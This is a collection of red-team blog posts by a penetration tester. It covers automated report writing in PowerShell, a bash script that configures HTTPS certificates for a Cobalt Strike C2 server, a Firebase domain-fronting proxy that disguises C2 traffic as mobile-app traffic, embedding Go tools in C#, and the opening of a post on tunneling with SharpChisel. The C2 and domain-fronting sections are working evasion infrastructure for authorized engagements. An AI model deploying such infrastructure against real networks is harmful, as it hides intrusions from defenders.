# About Shantanu Khandelwal

Know me

### Social Profiles

* Twitter: @[shantanukhande](https://twitter.com/shantanukhande)
* LinkedIn: /[in/KhandelwalShantanu](https://www.linkedin.com/in/KhandelwalShantanu/)

### Certifications

* Offensive Security Certified Professional (OSEP)
* Offensive Security Certified Expert (OSCE)
* Offensive Security Certified Professional (OSCP)
* GIAC Penetration Tester (GPEN)
* GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)
* Certified Red Team Expert (CRTE)
* Certified Red Team Professional (CRTP)&#x20;

### Contact Me

Email: [ShantanuKhandelwal@protonmail.com](mailto:shantanukhandelwal@protonmail.com)


# Excel Sheet to Word Report by PowerShell

Report writing from Excel Sheet to Word using PowerShell

### Introduction

Report writing is one of the most tedious tasks when it comes to a Penetration Tester's life. It's unavoidable, and I think the Penetration Test's quality has a lot to do with the report. I cannot emphasize enough on the report. The report is an integral part of the Penetration Test. With that being said, let's move forward and do some PowerShell Magic ;)

A lot of organizations prepare an excel sheet to track the list of vulnerabilities. This sheet may also be shared with the client as an interim report. Let's calls this excel sheet as "Vuln Sheet". Vuln Sheet contains a list of vulnerabilities discovered, its description, the vulnerability impact, affected hosts, and remediation steps. If you look closely to this "Vuln Sheet" it has mostly all of the components which a tester uses to generate a Penetration Test report. Ofcourse, the report has a lot more elements such as scope, executive summary, disclaimers etc. but if we are just focusing on the "Findings" section of the report, I guess the "Vuln Sheet" covers it all.

PowerShell has a lot of capability in reading and writing both Word and Excel. So without wasting time, lets take a deep dive into parsing excel sheet for the vulnerabilities and writing a word document from the parsed contents.

### Parsing Excel With PowerShell

Following is how my Excel Sheet of Vulnerabilities look like

![Sheet of Vulnerabilities ("VulnSheet.xlsx")](/files/-MEHyp9FhjlQ3JEmVMny)

Open Excel Sheet with PowerShell with the help of COM.

```
$objExcel = New-Object -ComObject Excel.Application
$WorkBook = $objExcel.Workbooks.Open("C:\Users\tempuser\Documents\VulnList.xlsx")
```

Open specific sheet of the excel sheet

```
$SheetNames = $WorkBook.sheets | Select-Object -Property Name
$WorkSheet = $WorkBook.sheets.item("Network Penetration Testing")
```

Get the Table Range

```
$WorksheetRange = $workSheet.UsedRange
$RowCount = $WorksheetRange.Rows.Count
$ColumnCount = $WorksheetRange.Columns.Count
Write-Host "RowCount:" $RowCount
Write-Host "ColumnCount" $ColumnCount
```

Initialize the column variables in Excel

```
$ColHeading = 0
$ColObservation = 0
$ColImplication = 0
$ColRecommendation = 0
$ColAffectedResources = 0
$ColSeverity = 0
$hash = @{} # I'll tell u why this is needed in a sec
```

Assign values to column variables

```
for($i=1;$i -le $ColumnCount;$i+=1){
    $ColHead = $WorkSheet.cells.Item(1, $i).text
    if($ColHead -like "Heading"){
        Write-Host "[+]Heading Column Found"
        $ColHeading = $i
    }
    if($ColHead -like "Observation"){
        Write-Host "[+]Observation Column Found"
        $ColObservation = $i
    }
    if($ColHead -like "Implication"){
        Write-Host "[+]Implication Column Found"
        $ColImplication = $i
    }
    if($ColHead -like "Recommendation"){
        Write-Host "[+]Recommendation Column Found"
        $ColRecommendation = $i
    }
    if($ColHead -like "Affected Resources"){
        Write-Host "[+]Affected Resources Column Found"
        $ColAffectedResources = $i
    }
    if($ColHead -like "Severity"){
        Write-Host "[+]Severity Column Found"
        $ColSeverity = $i
    }

}

Write-Host "`r`n"
Write-Host "Printing Column Status"
Write-Host "Heading:" $ColHeading
Write-Host "Observation:" $ColObservation
Write-Host "Implication:" $ColImplication
Write-Host "Recommendation:" $ColRecommendation
Write-Host "Affected Resources:" $ColAffectedResources
Write-Host "Severity:" $ColSeverity
```

We can now start extracting text from the columns. We are going to introduce a lot of functions in the following loop. Function "MakeWordReport" requires a Word Template. I'll go thorough that in later sections of this post.

```
# Extracting Text Now

for($i=2;$i -le $RowCount; $i+=1){
    $TextHeading = $WorkSheet.cells.Item($i, $ColHeading).text
    $TextObservation = $WorkSheet.cells.Item($i, $ColObservation).text 
    $TextImplication = $WorkSheet.cells.Item($i, $ColImplication).text
    $TextRecommendation = $WorkSheet.cells.Item($i, $ColRecommendation).text
    $TextAffectedResources = $WorkSheet.cells.Item($i, $ColAffectedResources).text
    $TextSeverity = $WorkSheet.cells.Item($i, $ColSeverity).text
    WorkOnHeading $TextHeading
    WorkOnObservation $TextObservation
    WorkOnImplication $TextImplication
    WorkOnRecommendation $TextRecommendation
    WorkOnAffectedResources $TextAffectedResources
    WorkOnSeverity $TextSeverity
    $hash # Just Printing HashTable 
    MakeWordReport $i $hash 
    $hash = @{}
}
```

Let's define the functions I proposed in the above for loop.

```
Function MakeWordReport($index,$hash){
    $template = "C:\Users\tempuser\Documents\TemplateFinding.docx"
    $wd = New-Object –comobject Word.Application
    $doc=$wd.documents.Add($template)
    $newfile="C:\Users\tempuser\Documents\file_$index.docx"
    foreach($key in $hash.keys){
        $objrange = $doc.Bookmarks.Item($key).Range 
        $objrange.Text = $hash[$key]
    }
    $doc.SaveAs([ref]$newfile)
    $doc.Close()
    $wd.Quit()
}

function WorkOnSeverity($RawSeverity){
    $Severity = $RawSeverity.trim()
    $hash["Severity"] = $Severity
}
    
function WorkOnRecommendation($RawRecommendation){
    if($RawRecommendation -like "*Reference:*"){
        $temp =  $RawRecommendation -split "Reference:",2
        $Recommendation = $temp[0].trim()
        $Reference = $temp[1].Trim()
    }
    else{
        $Recommendation = $RawRecommendation.Trim()
        $Reference = ""
    }

    $hash["Recommendation"] = $Recommendation
    $hash["Reference"] = $Reference
}

function WorkOnAffectedResources($RawAffectedResources){
    $AffectedResources = $RawAffectedResources.Trim()
    $hash["AffectedResources"] = $AffectedResources
}

function WorkOnImplication($RawImplication){
    $Implication = $RawImplication.Trim()
    $hash["Implication"] = $Implication

}

function WorkOnObservation($RawObservation){
    $Observation = $RawObservation.trim()
    $hash["Observation"] = $Observation
}

function WorkOnHeading($RawHeading){
    $Heading = $RawHeading.trim()
    $hash["Heading"] = $Heading
}
```

We have now defined the WorkOn\* functions in PowerShell. Most functions defined are very basic here but I want to draw your attention to the WorkOnRecommendation fuction. Its not a basic function. Basically here i wanted to show that you can do string manipulation here. This is just an example.

There is one more importtant thing for you to note here. We here see that we are populating our hashtable $hash here. We are using key such as "Observation", "AffectedResources" etc. This key is important because we will use this key while making the Micorsoft Word Template

In the function MakeWordReport you can see that we are running a foreach loop on the hashtable keys. In the loop we are replacing the bookmarks predefined with those specific keys.&#x20;

&#x20; By the way final script as following&#x20;

```
Function MakeWordReport($index,$hash){
    $template = "C:\Users\tempuser\Documents\TemplateFinding.docx"
    $wd = New-Object –comobject Word.Application
    $doc=$wd.documents.Add($template)
    $newfile="C:\Users\tempuser\Documents\file_$index.docx"
    foreach($key in $hash.keys){
        $objrange = $doc.Bookmarks.Item($key).Range 
        $objrange.Text = $hash[$key]
    }
    $doc.SaveAs([ref]$newfile)
    $doc.Close()
    $wd.Quit()
}

function WorkOnSeverity($RawSeverity){
    $Severity = $RawSeverity.trim()
    $hash["Severity"] = $Severity
}
    
function WorkOnRecommendation($RawRecommendation){
    if($RawRecommendation -like "*Reference:*"){
        $temp =  $RawRecommendation -split "Reference:",2
        $Recommendation = $temp[0].trim()
        $Reference = $temp[1].Trim()
    }
    else{
        $Recommendation = $RawRecommendation.Trim()
        $Reference = ""
    }

    $hash["Recommendation"] = $Recommendation
    $hash["Reference"] = $Reference
}

function WorkOnAffectedResources($RawAffectedResources){
    $AffectedResources = $RawAffectedResources.Trim()
    $hash["AffectedResources"] = $AffectedResources
}

function WorkOnImplication($RawImplication){
    $Implication = $RawImplication.Trim()
    $hash["Implication"] = $Implication

}

function WorkOnObservation($RawObservation){
    $Observation = $RawObservation.trim()
    $hash["Observation"] = $Observation
}

function WorkOnHeading($RawHeading){
    $Heading = $RawHeading.trim()
    $hash["Heading"] = $Heading
}

$objExcel = New-Object -ComObject Excel.Application
$WorkBook = $objExcel.Workbooks.Open("C:\Users\tempuser\Documents\VulnList.xlsx")
$SheetNames = $WorkBook.sheets | Select-Object -Property Name
$WorkSheet = $WorkBook.sheets.item("Network Penetration Testing")
$WorksheetRange = $workSheet.UsedRange
$RowCount = $WorksheetRange.Rows.Count
$ColumnCount = $WorksheetRange.Columns.Count
Write-Host "RowCount:" $RowCount
Write-Host "ColumnCount" $ColumnCount
$ColHeading = 0
$ColObservation = 0
$ColImplication = 0
$ColRecommendation = 0
$ColAffectedResources = 0
$ColSeverity = 0
$hash = @{} # I'll tell u why this is needed in a sec


for($i=1;$i -le $ColumnCount;$i+=1){
    $ColHead = $WorkSheet.cells.Item(1, $i).text
    if($ColHead -like "Heading"){
        Write-Host "[+]Heading Column Found"
        $ColHeading = $i
    }
    if($ColHead -like "Observation"){
        Write-Host "[+]Observation Column Found"
        $ColObservation = $i
    }
    if($ColHead -like "Implication"){
        Write-Host "[+]Implication Column Found"
        $ColImplication = $i
    }
    if($ColHead -like "Recommendation"){
        Write-Host "[+]Recommendation Column Found"
        $ColRecommendation = $i
    }
    if($ColHead -like "Affected Resources"){
        Write-Host "[+]Affected Resources Column Found"
        $ColAffectedResources = $i
    }
    if($ColHead -like "Severity"){
        Write-Host "[+]Severity Column Found"
        $ColSeverity = $i
    }

}

Write-Host "`r`n"
Write-Host "Printing Column Status"
Write-Host "Heading:" $ColHeading
Write-Host "Observation:" $ColObservation
Write-Host "Implication:" $ColImplication
Write-Host "Recommendation:" $ColRecommendation
Write-Host "Affected Resources:" $ColAffectedResources
Write-Host "Severity:" $ColSeverity


for($i=2;$i -le $RowCount; $i+=1){
    $TextHeading = $WorkSheet.cells.Item($i, $ColHeading).text
    $TextObservation = $WorkSheet.cells.Item($i, $ColObservation).text 
    $TextImplication = $WorkSheet.cells.Item($i, $ColImplication).text
    $TextRecommendation = $WorkSheet.cells.Item($i, $ColRecommendation).text
    $TextAffectedResources = $WorkSheet.cells.Item($i, $ColAffectedResources).text
    $TextSeverity = $WorkSheet.cells.Item($i, $ColSeverity).text
    WorkOnHeading $TextHeading
    WorkOnObservation $TextObservation
    WorkOnImplication $TextImplication
    WorkOnRecommendation $TextRecommendation
    WorkOnAffectedResources $TextAffectedResources
    WorkOnSeverity $TextSeverity
    $hash # Just Printing HashTable 
    MakeWordReport $i $hash 
    $hash = @{}
}
```

### Making the Word Template

To make word template, just modify your existing word template to have bookmarks at places you want your text in. To place a BookMark click insert and then Bookmark. If you are still unsure, follow the screenshots below

![Step 1: Simple Word Template](/files/-MEHk0xunw-5jxvz0Phy)

![Step 1.1: Locate Bookmark option](/files/-MEHkF2GobXM0iQvHXQT)

![Step 2: Select the Text and click Bookmark option](/files/-MEHkMVFk3OnE7uyYpDK)

![Step 3: Type the bookmark name. MAKE SURE IT MATCHES TO YOUR KEY IN THE HASHTABLE(@hash)](/files/-MEHkYeYlBJKdfSjqXH2)

![Final Look of the Word Document](/files/-MEHkp759G0CJFNu_Dgb)

### Running The Script

Before running the script check the variables such as&#x20;

```
$template = "C:\Users\tempuser\Documents\TemplateFinding.docx"
$newfile="C:\Users\tempuser\Documents\file_$index.docx"
$WorkBook = $objExcel.Workbooks.Open("C:\Users\tempuser\Documents\VulnList.xlsx")
$WorkSheet = $WorkBook.sheets.item("Network Penetration Testing")
```

Once you run the script, the output looks like below&#x20;

```
RowCount: 5
ColumnCount 7
[+]Heading Column Found
[+]Observation Column Found
[+]Implication Column Found
[+]Recommendation Column Found
[+]Affected Resources Column Found
[+]Severity Column Found


Printing Column Status
Heading: 2
Observation: 3
Implication: 4
Recommendation: 5
Affected Resources: 6
Severity: 7

Name                           Value                                                                                                                   
----                           -----                                                                                                                   
Recommendation                 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non neque nunc. Quisque mollis scelerisque dui, a laor...
AffectedResources              Affected Host 1...                                                                                                      
Observation                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rhoncus est eget aliquet dictum. Vestibulum sed pretium...
Heading                        This is Heading 1                                                                                                       
Implication                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam vitae nisi vel arcu finibus ultricies eu dignissim urna....
Severity                       Critical                                                                                                                
Reference                      www.google.com...                                                                                                       
Recommendation                 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non neque nunc. Quisque mollis scelerisque dui, a laor...
AffectedResources              Affected Host 1...                                                                                                      
Observation                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rhoncus est eget aliquet dictum. Vestibulum sed pretium...
Heading                        This is Heading 2                                                                                                       
Implication                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam vitae nisi vel arcu finibus ultricies eu dignissim urna....
Severity                       High                                                                                                                    
Reference                                                                                                                                              
Recommendation                 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non neque nunc. Quisque mollis scelerisque dui, a laor...
AffectedResources              Affected Host 1...                                                                                                      
Observation                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rhoncus est eget aliquet dictum. Vestibulum sed pretium...
Heading                        This is Heading 3                                                                                                       
Implication                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam vitae nisi vel arcu finibus ultricies eu dignissim urna....
Severity                       Medium                                                                                                                  
Reference                                                                                                                                              
Recommendation                 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi non neque nunc. Quisque mollis scelerisque dui, a laor...
AffectedResources              Affected Host 1...                                                                                                      
Observation                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rhoncus est eget aliquet dictum. Vestibulum sed pretium...
Heading                        This is Heading 4                                                                                                       
Implication                    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam vitae nisi vel arcu finibus ultricies eu dignissim urna....
Severity                       Low                                                                                                                     
Reference                                 
```

And you will have the files like this at the destination defined in $newfile

![Generated Isolated findings files](/files/-MEHmObPelV2eTUvqq4w)

### Making the Final Report

So the final task is to combine all this file\_\*.docx files.&#x20;

Use the following macro to combine the docx. The macro allows multiselect so select all the files you want to merge and click ok.

```
Sub Merge()
  Dim dlgFile As FileDialog
  Dim nTotalFiles As Integer
  Dim nEachSelectedFile As Integer

  Set dlgFile = Application.FileDialog(msoFileDialogFilePicker)
 
  With dlgFile
    .AllowMultiSelect = True
    If .Show <> -1 Then
      Exit Sub
    Else
      nTotalFiles = .SelectedItems.Count
    End If
  End With
 
  For nEachSelectedFile = 1 To nTotalFiles
    Selection.InsertFile dlgFile.SelectedItems.Item(nEachSelectedFile)
    If nEachSelectedFile < nTotalFiles Then
      Selection.InsertBreak Type:=wdPageBreak
    Else
      If nEachSelectedFile = nTotalFiles Then
        Exit Sub
      End If
    End If
  Next nEachSelectedFile
End Sub
```

![Running the Merge Macro](/files/-MEHo5CSGWP7z7SaWBQ4)

![Select the  file\_\* using multiselect](/files/-MEHoRyh2UcZ-hHjb57j)

**Tip: Make a copy of the TemplateFinding.docx, delete everything inside it and run the macro. Doing this will preserve your formatting.**

![Final Result ](/files/-MEHq8knagYi-mSln7b2)

### Conclusion

So we are hackers and hackers don't copy paste 😜. Basically, save time copy pasting stuff and use Powershell. I know this is not revolutionary but yeah, its a script I wrote and I found no reference of something similar over internet. Maybe you guys can find it and let me know. &#x20;

By the way, for your ease of access, I have uploaded all these scripts and documents on my github for your quick reference. Feel free to change/modify/enhance to fit your needs &#x20;


# Ghostwriter - Add report type

Remove the current .envs folder

```
rm -rf ./.envs/
```

Edit the initial.json file. I have added Mobile Assessement Penetration Test in the initial.json


# HTTPS C2 Done Right NGINX

HTTPS C2 Done Right with NGINX

```
#!/bin/bash
# Refs:
# http://stackoverflow.com/questions/11617210/how-to-properly-import-a-selfsigned-certificate-into-java-keystore-that-is-avail
# https://www.digitalocean.com/community/tutorials/how-to-secure-apache-with-let-s-encrypt-on-ubuntu-14-04
# http://www.advancedpentest.com/help-malleable-c2
# https://maximilian-boehm.com/hp2121/Create-a-Java-Keystore-JKS-from-Let-s-Encrypt-Certificates.htm

# Global Variables
runuser=$(whoami)
tempdir=$(pwd)
# Echo Title
clear
echo '=========================================================================='
echo ' HTTPS C2 Done Right Setup Script | [Updated]: 2016'
echo '=========================================================================='
echo ' [Web]: Http://CyberSyndicates.com | [Twitter]: @KillSwitch-GUI'
echo '=========================================================================='


echo -n "Enter your DNS (A) record for domain [ENTER]: "
read domain
echo

echo -n "Enter your common password to be used [ENTER]: "
read password
echo

echo -n "Enter your CobaltStrike server location [ENTER]: "
read cobaltStrike
echo

domainPkcs="$domain.p12"
domainStore="$domain.store"
cobaltStrikeProfilePath="$cobaltStrike/httpsProfile"

apt update
apt install openjdk-11-dbg

# Environment Checks
func_check_env(){
  # Check Sudo Dependency going to need that!
  if [ $(id -u) -ne '0' ]; then
    echo
    echo ' [ERROR]: This Setup Script Requires root privileges!'
    echo '          Please run this setup script again with sudo or run as login as root.'
    echo
    exit 1
  fi
}

func_check_tools(){
  # Check Sudo Dependency going to need that!
  if [ $(which keytool) ]; then
    echo '[Sweet] java keytool is installed'
  else 
    echo
    echo ' [ERROR]: keytool does not seem to be installed'
    echo
    exit 1
  fi
  if [ $(which openssl) ]; then
    echo '[Sweet] openssl keytool is installed'
  else 
    echo
    echo ' [ERROR]: openssl does not seem to be installed'
    echo
    exit 1
  fi
  if [ $(which git) ]; then
    echo '[Sweet] git keytool is installed'
  else 
    echo
    echo ' [ERROR]: git does not seem to be installed'
    echo
    exit 1
   fi
}

func_nginx_check(){
  # Check Sudo Dependency going to need that!

  # if [ sudo lsof -nPi | grep ":80 (LISTEN)" ]; then
  #   echo
  #   echo ' [ERROR]: This Setup Script Requires that port!'
  #   echo '          80 not be in use.'
  #   echo
  #   exit 1
  if [ $(which java) ]; then
    echo '[Sweet] java is already installed'
    echo
  else
    apt-get update
    apt-get install default-jre -y 
    echo '[Success] java is now installed'
    echo
  fi
  if [ $(which nginx) ]; then
    echo '[Sweet] nginx is already installed'
    service nginx start
    echo
  else
    apt-get update
    apt-get install nginx -y 
    echo '[Success] nginx is now installed'
    echo
    service nginx restart
    service nginx start
  fi
  if [ $(lsof -nPi | grep -i nginx | grep -c ":80 (LISTEN)") -ge 1 ]; then
    echo '[Success] nginx is up and running!'
  else 
    echo
    echo ' [ERROR]: nginx does not seem to be running on'
    echo '          port 80? Try manual start?'
    echo
    exit 1
  fi
  if [ $(which ufw) ]; then
    echo 'Looks like UFW is installed, opening ports 80 and 443'
    ufw allow 80/tcp
    ufw allow 443/tcp
    echo
  fi
}

func_install_letsencrypt(){
  echo '[Starting] cloning into letsencrypt!'
  git clone https://github.com/certbot/certbot /opt/letsencrypt
  echo '[Success] letsencrypt is built!'
  cd /opt/letsencrypt
  echo '[Starting] to build letsencrypt cert!'
  sudo snap install core
  sudo snap install --classic certbot
  certbot --nginx -d $domain -n --register-unsafely-without-email --agree-tos 
  if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
    echo '[Success] letsencrypt certs are built!'
  else
    echo "[ERROR] letsencrypt certs failed to build.  Check that DNS A record is properly configured for this domain"
    exit 1
  fi
}

func_build_pkcs(){
  cd /etc/letsencrypt/live/$domain
  echo '[Starting] Building PKCS12 .p12 cert.'
  openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
  echo '[Success] Built $domainPkcs PKCS12 cert.'
  echo '[Starting] Building Java keystore via keytool.'
  keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
  echo '[Success] Java keystore $domainStore built.'
  mkdir $cobaltStrikeProfilePath
  cp $domainStore $cobaltStrikeProfilePath
  echo '[Success] Moved Java keystore to CS profile Folder.'
}

func_build_c2(){
  cd $cobaltStrikeProfilePath
  echo '[Starting] Cloning into amazon.profile for testing.'
  wget https://raw.githubusercontent.com/rsmudge/Malleable-C2-Profiles/master/normal/amazon.profile --no-check-certificate -O amazon.profile
  echo '[Success] amazon.profile clonned.'
  echo '[Starting] Adding java keystore / password to amazon.profile.'
  echo " " >> amazon.profile
  echo 'https-certificate {' >> amazon.profile
  echo   set keystore \"$domainStore\"\; >> amazon.profile
  echo   set password \"$password\"\; >> amazon.profile
  echo '}' >> amazon.profile
  echo '[Success] amazon.profile updated with HTTPs settings.'
}
# Menu Case Statement
case $1 in
  *)
  func_check_env
  func_check_tools
  func_nginx_check
  func_install_letsencrypt
  func_build_pkcs
  func_build_c2
  ;;
esac
```


# Domain Front


# Firebase Domain Front - Hiding C2 as App traffic

We often see that large organization use firebase for hosting their applications and database. Firebase has a lot of features such as real-time database, hosting, cloud functions, hosting etc. Today we are going to talk about firebase hosting and cloud functions which are used by a lot of mobile applications these days. In our recent project, we were able to hide ourselves as a legit mobile traffic and bypass a lot of traffic filters

## Firebase Cloud Functions

![Firebase Cloud Functions](/files/-MScA4drWg-ISb1WQSZZ)

Firebase allows an operator to write an applications in Node JS and deploy it using its hosting feature.&#x20;

## Setting up Firebase Domain Front

So lets start by selecting a app hosted using firebase. In the following case we'll take <https://go.auk.eco>/ as our selected app.

#### Step 1: Create an account on <https://firebase.google.com>

#### Step 2: Go to Console

![Go to Console in Top Right Corner](/files/-MScBBm9GJPklTku60fi)

#### Step 3: Create a project and give it a name

![Create Firebase Project](/files/-MScEuDeLMYIR7Zwa0PU)

![Set up a project name](/files/-MScFUaFdxg4rtzlt9T5)

![Create a Project](/files/-MScFrIT8vH02s51IZMO)

#### Step 4: Open your command prompt and install firebase cli.&#x20;

```
npm install -g firebase-tools
```

#### Step 5: Make a folder and perform firebase cli login.&#x20;

```
mkdir awesomedomainfront
cd awesomedomainfront
firebase login
```

#### Step 6:  Initiate Hosting

```
firebase init hosting
```

Once you hit the above command you'll be presented with many options. See the following screenshot for responses to the options

![Firebase Hosting Init](/files/-MScIFw0ZD-qVYDLfKIs)

#### Step 7: Initiate Cloud functions

```
firebase init functions
```

Again you'll be presented with many options. See the following screenshot for the response to the options

![Firebase Functions init](/files/-MScIuz8yvM6shNp1aAT)

#### Step 8: Install Express and http-proxy

```
cd functions
npm i express --save
npm i http-proxy --save
```

![Install Express and http-proxy](/files/-MScJvDDwUoody6vz4B2)

#### Step 9: Edit the index.js

Since you are already in the functions folder after saving the npm packages. Lets edit the index.js file in this folder.

{% code title="index.js" %}

```javascript
const functions = require('firebase-functions');
const express = require('express');

const app = express();

var http = require('http'), httpProxy = require('http-proxy');


var proxy = httpProxy.createProxyServer({secure:false,xfwd:true}); //Setting up X-forwarded for header 

// your C2 must have a URI . In this case I am using /api/" 
app.all('/api/*', function(req, res, next){
    console.log(req.url);
    req.url = "/api/" + req.url.slice(5);
	console.log("Req URL:"+req.url);
    proxy.web(req, res, {
        target: 'https://firebase.redteam.cafe:443/' /* Change it to your domain */
    }, function(e) {
        console.log(e);
    }); 
	res.set('Cache-Control', 'no-cache, no-store');
});


exports.app = functions.https.onRequest(app);

// // Create and Deploy Your First Cloud Functions
// // https://firebase.google.com/docs/functions/write-firebase-functions
//
// exports.helloWorld = functions.https.onRequest((request, response) => {
//   functions.logger.info("Hello logs!", {structuredData: true});
//   response.send("Hello from Firebase!");
// });

```

{% endcode %}

#### Step 10: Edit the firebase.json file

Go to the parent folder and edit firebase.json

```javascript
cd ../
```

{% code title="firebase.json" %}

```javascript
{
  "hosting": {
	"headers" : [{
		"source" : "**/*.@(js)",
		"headers": [{
			"key" : "Cache-Control",
			"value" : "no-cache, no-store"
			}]
		}],
    "public": "public",
	"rewrites": [{
	/* your C2 must have a URI . In this case I am using /api/" */
		"source": "/api/**",
		"function": "app",
		"run":{
			"region" : "asia-east2"
			}
		}],
    "ignore": [
      "firebase.json",
      "**/.*",
      "**/node_modules/**"
    ]
  },
  "functions": {
  }
}

```

{% endcode %}

#### Step 11: Deploy the project

Lets start the deployment of our firebase project

```javascript
firebase deploy
```

![Error Message for deploying the project](/files/-MScXKCtY79puvslwWp5)

Modify the plan of project from free plan to Pay as you go plan

![Click Modify Plan](/files/-MScYK2ZpMO3S_C0qsaA)

![Select "Pay as you go" plan](/files/-MScZ6AhirqLtYGSfsdP)

Now lets try the deployment again.

```javascript
firebase deploy
```

![Deploy Complete](/files/-MSc_wPTPpQRpdmr-aDO)

#### Final Tests for the Domain Front

Lets check what's hosted on <https://firebase.redteam.cafe/api/index.html>

![Response from firebase.redteam.cafe](/files/-MScWdB94gt3hhO5wHmV)

Let's check if our app works fine&#x20;

![Response from amazingdomainfront.web.app](/files/-MScnEEo-xFqTHKO6JCJ)

### THE FINAL TEST

Lets see if we are able to do **Domain Front against a test domain** <https://go.auk.eco>/

![Domain front with Test Domain is Successful](/files/-MScphoKab_PHORnOA12)

#### How to Find more domain fronts

Hint: Try to find domains whose CNAME ends with \*.web.app&#x20;

**UPDATE (4/5/2021) : Vincent Yiu created a list for domain fronts in the following github repo**

<https://github.com/vysecurity/DomainFrontingLists>

## Download Source Code&#x20;

Source code can be downloaded from my github repository <https://github.com/shantanu561993/Awesome_Firebase_DomainFront>

## Credits

[Vincent Yiu](https://twitter.com/vysecurity), [Jonathan Cheung](https://www.linkedin.com/in/jonathan-cheung-0a8208138/)

### Connect with me

Twitter: <https://twitter.com/shantanukhande>


# GoLang


# Red Team: How to embed Golang tools in C\#

![Image for post](https://miro.medium.com/max/404/0*gt-wDz13l7eLQZ-G)

Last night I was working on some private tools. The story began when I presented a tool to my mentor Vincent Yiu in Golang (“Of course, not built by me”), and he was like, “Yeah, this is great, but how do we use it during our Red Team engagements. Do I upload this to the target machine?”. The short answer to the question was “Yes” at that time, but it leads to a journey in which I wanted to run the Golang tool from C#. I searched online a found tons of old tutorials, but none of them provided a full explanation. Then I moved to my ultimate source of knowledge, “BloodHound Slack.” With my limited knowledge gathered from those old posts, I posted some queries there. A few Golang enthusiasts such as “Awgh”, “lesnuages”, and “C\_Sto” helped me to achieve my final binary.

Without further due, lets dive into how I achieved this. I will use a sample Go binary to demonstrate the concepts.

**My Environment**

OS: Windows 10\
Arch: amd64\
Target: One Single C# binary embedding the Golang binary

**Requirements**

1\. Golang

2\. TDM-GCC

3\. Visual Studio 2019 Community

**How to do it**

**Step 1: Make a GoLang DLL**

Let’s take a template Golang source

```
package main
import "fmt"
import "C"
import "strings"

func main() {
}

//PrintHello :
//export PrintHello
func PrintHello() {
    fmt.Println("Hello From Golang")
}

//Sum :
//export Sum
func Sum(a, b int) int {
    return a + b
}

//stringtest :
//export stringtest
func stringtest(name *C.char) {
	s := strings.Fields(C.GoString(name))
    	fmt.Println(s)
}
```

Once the source code is saved on disk, compile it using the following command

```
go build --buildmode=c-shared -ldflags="-s -w"  -o main.dll main.go
```

You will see main.h and main.dll in the Go source folder.

**Step 2: Make a C# wrapper**

Open Visual Studio 2019 and create a C# console application. Then right-click on the solution and click “Manage Nugets for this Solution.” Install Fody and Costura.Fody Nugets. Once the Nugets are installed right-click on the solution click Add Item->XML and rename the XML to FodyWeavers.xml. Add the following lines to it.

```
<?xml version="1.0" encoding="utf-8" ?>
<Weavers>
  <Costura Unmanaged32Assemblies='main' Unmanaged64Assemblies='main' />
</Weavers>
```

Next step is to make the proper folder structure and add the compiled DLL

.![Image for post](https://miro.medium.com/max/440/1*yEDVhAXGkJ7WBqJ55QfSwA.png)

Add Costura32 and Costura64 folders and add main.dll to the folders. Make sure to change the Build Action.

Next step is to call this DLL inside the C#. See the following source code

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace GolangInSharp
{
    class Program
    {
        [DllImport("main", EntryPoint = "PrintHello")]
        extern static void PrintHello();

        [DllImport("main", EntryPoint = "Sum")]
        extern static int Sum(int a, int b);

        [DllImport("main", EntryPoint = "stringtest")]
        extern static int stringtest(byte[] test);

        static void Main(string[] args)
        {
            PrintHello();
            int c = Sum(3, 5);
            Console.WriteLine("Call Go Func to Add 3 and 5, result is " + c);
            stringtest(Encoding.ASCII.GetBytes("I Am String"));
            Console.ReadKey();
        }
    }
}
```

Compile the Console application and you should be good to go. Make sure your project properties are as following

![Image for post](https://miro.medium.com/max/1164/1*S7WBdF6sANGmciaB9rSeBg.png)

Final Result is

![Image for post](https://miro.medium.com/max/1216/1*IKQCaAve8emQ9m2BqiJudQ.png)

I have uploaded the above project on github (<https://github.com/shantanu561993/GolanginCsharp>). You can download the project as a template and use it for your projects.

Thanks Everyone who helped me in this endeavor. Thanks everyone who have helped me directly or indirectly. For more updates you can follow me on twitter at <https://twitter.com/shantanukhande>

\#RedTeam


# Red Team: Using SharpChisel to exfil internal network

![Image for post](https://miro.medium.com/max/1180/1*tveSjqydh5Z18w8GEf1sXQ.png)

During many Red Team Assessment, we use multiple agents to connect to our target network infrastructure. These agents connect to different C2 servers such as Cobalt Strike, Metasploit Framework, Empire, SharpC2 (recent C2 Framework by [Rasta Mouse](https://medium.com/u/e508a2be5093?source=post_page-----e1b07ed9b49----------------------)), etc. One of the critical features of these C2 agents is to provide a tunnel to the target network. The latency to tunnels through these beacons or agents is quite high. Also, we generally have to make these agents interactive to make these tunnels work, which increases the risk of detection.

During my exploration of Golang, I was introduced to a very famous tool named as CHISEL. Working with CHISEL is quite unique. **Chisel can provide tunnel access to the target network via WebSockets. Chisel is an open-source, fast TCP tunnel, transported over HTTP, secured via SSH.**

One thing to note is that Chisel is a **Golang** application, which means it cannot be used with our current toolset such as CobaltStrike’s execute-assembly. In this post, **I want to introduce** [**SharpChisel**](https://github.com/shantanu561993/SharpChisel)**. SharpChisel is a C# wrapper around Golang Chisel.** In my previous post, I had discussed how to make a C# wrapper for Golang.

**Using Chisel during Red Team assessment**

Chisel has two components client and server. Chisel binary is complied in a way that provides both server and client functionality via a single file. In this post, I will discuss the usage of Chisel from a Red Team perspective.

**Setting Up Chisel Server**

